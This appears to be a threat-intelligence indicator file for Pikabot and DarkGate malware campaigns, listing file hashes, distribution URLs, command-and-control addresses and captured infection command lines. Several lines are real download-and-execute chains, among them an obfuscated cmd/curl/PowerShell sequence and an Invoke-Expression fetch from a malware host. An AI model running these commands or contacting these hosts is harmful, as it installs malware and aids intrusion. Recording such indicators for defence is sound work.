-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathPikabot_15.11.2023.txt
116 lines (78 loc) · 4.43 KB
/
Pikabot_15.11.2023.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
15.11.2023 | Pikabot | TA577 | 1.1.15-ghost | DarkGate Botnet A11111 |
*************************************************
Pikabot
.url https://securehosting.vip/suen/
.zip 592f4ee0f178de6162247010bf85d4eaccfa123d8a26a9db120bea1e13a830cd
.dll ba3b6093e676d0d4ed3832efc496ad3a1b7c24e9a27574520c7b54e84b93de32
*************************************************
DarkGate Distro
.zip 0bae047a2fecd7a081f9980a7f754af4fa0c9e5eb41b937ab8448ef50edf820f
.au3 c38255b259f5e552c33142d192afd438f824773dfcea4eb31c707ce86949464c
*************************************************
Pikabot
.zip 95d14e055fde0847733890ca247d22a1ef9ad581389e6beead1de46d3147ff90
.dll 3afd0ec9ff87802fecb70c64bf0c0b86081bd909b9b649f902931964d585632a
*************************************************
zip > .js > .exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\JYIPY.js
cmd.exe /c F7fLVTj || Q7zxpxs || pinG -n 1 9XLdm3R || pinG CAAx || eCHo DuOH & CuRL https://frensterol.com/yveu/stati -o %TmP%\SlobberShoddily.conf & pinG -n 3 CAAx || eCHo SlobberShoddily & POWerSHeLl -encodedcommand cgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABTAGwAbwBiAGIAZQByAFMAaABvAGQAZABpAGwAeQAuAGMAbwBuAGYALAAgAFQAaAByAG8AdwA= & ExIT
pinG -n 1 9XLdm3R
pinG CAAx
pinG -n 3 CAAx
POWerSHeLl -encodedcommand cgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABTAGwAbwBiAGIAZQByAFMAaABvAGQAZABpAGwAeQAuAGMAbwBuAGYALAAgAFQAaAByAG8AdwA=
rundll32.exe C:\Users\Admin\AppData\Local\Temp\SlobberShoddily.conf Throw
*************************************************
DarkGate Exec >
wscript.exe C:\Users\Admin\AppData\Local\Temp\JNVEEN.js
powershell.exe -Command Invoke-Expression (Invoke-RestMethod -Uri "http://faststroygo.com:80/jsslatecqpa");
C:\tepp\AutoIt3.exe latecqpa.au3
*************************************************
.dll distro
https://frensterol.com/yveu/
https://re-tend.com/Ud0Vh/
https://septebist.com/MPdpah/radiu
DarkGate Distro
http://faststroygo.com/
http://faststroygo.com/jsslatecqpa
http://faststroygo.com/msilatecqpa
*************************************************
c2's
https://45.32.232.31:13782
https://210.243.8.247:23399
https://154.92.19.139:2222
https://167.179.100.211:2221
https://158.247.196.155:9785
https://154.221.30.136:13724
https://70.34.242.159:5243
HTTPS Checking Traffic
https://210.243.8.247:23399/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
https://45.32.232.31:13782/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
https://158.247.196.155:9785/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
https://167.179.100.211:2221/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
https://154.221.30.136:13724/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
https://154.92.19.139:2222/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
https://154.92.19.139:2222/dermophyte/NFlC0ZJtasuXPVk?Hyperbrachycephal=FiendfullyTursiops&Chronobarometer=LeanderWordages&liquableDisowned=fSImLYV
*************************************************
c2's
https://45.33.69.35:5242
https://167.179.100.211:2221
https://154.92.19.139:2222
https://155.138.132.163:13786
https://158.247.196.155:9785
https://172.232.189.83:5243
https://45.32.232.31:13782
https://172.104.12.76:5242
https://210.243.8.247:23399
https://97.107.131.224:13782
https://172.232.189.84:23399
https://154.221.30.136:13724
https://172.232.189.84:23399
HTTPS Checking Traffic
https://167.179.100.211:2221/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
https://45.33.69.35:5242/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
https://172.104.12.76:5242/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
https://155.138.132.163:13786/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
https://45.32.232.31:13782/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
https://172.232.189.84:23399/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
https://154.221.30.136:13724/polymnestorGlaceed/TdcW8AnBbROMKP?cataracteg=Stopcocks
*************************************************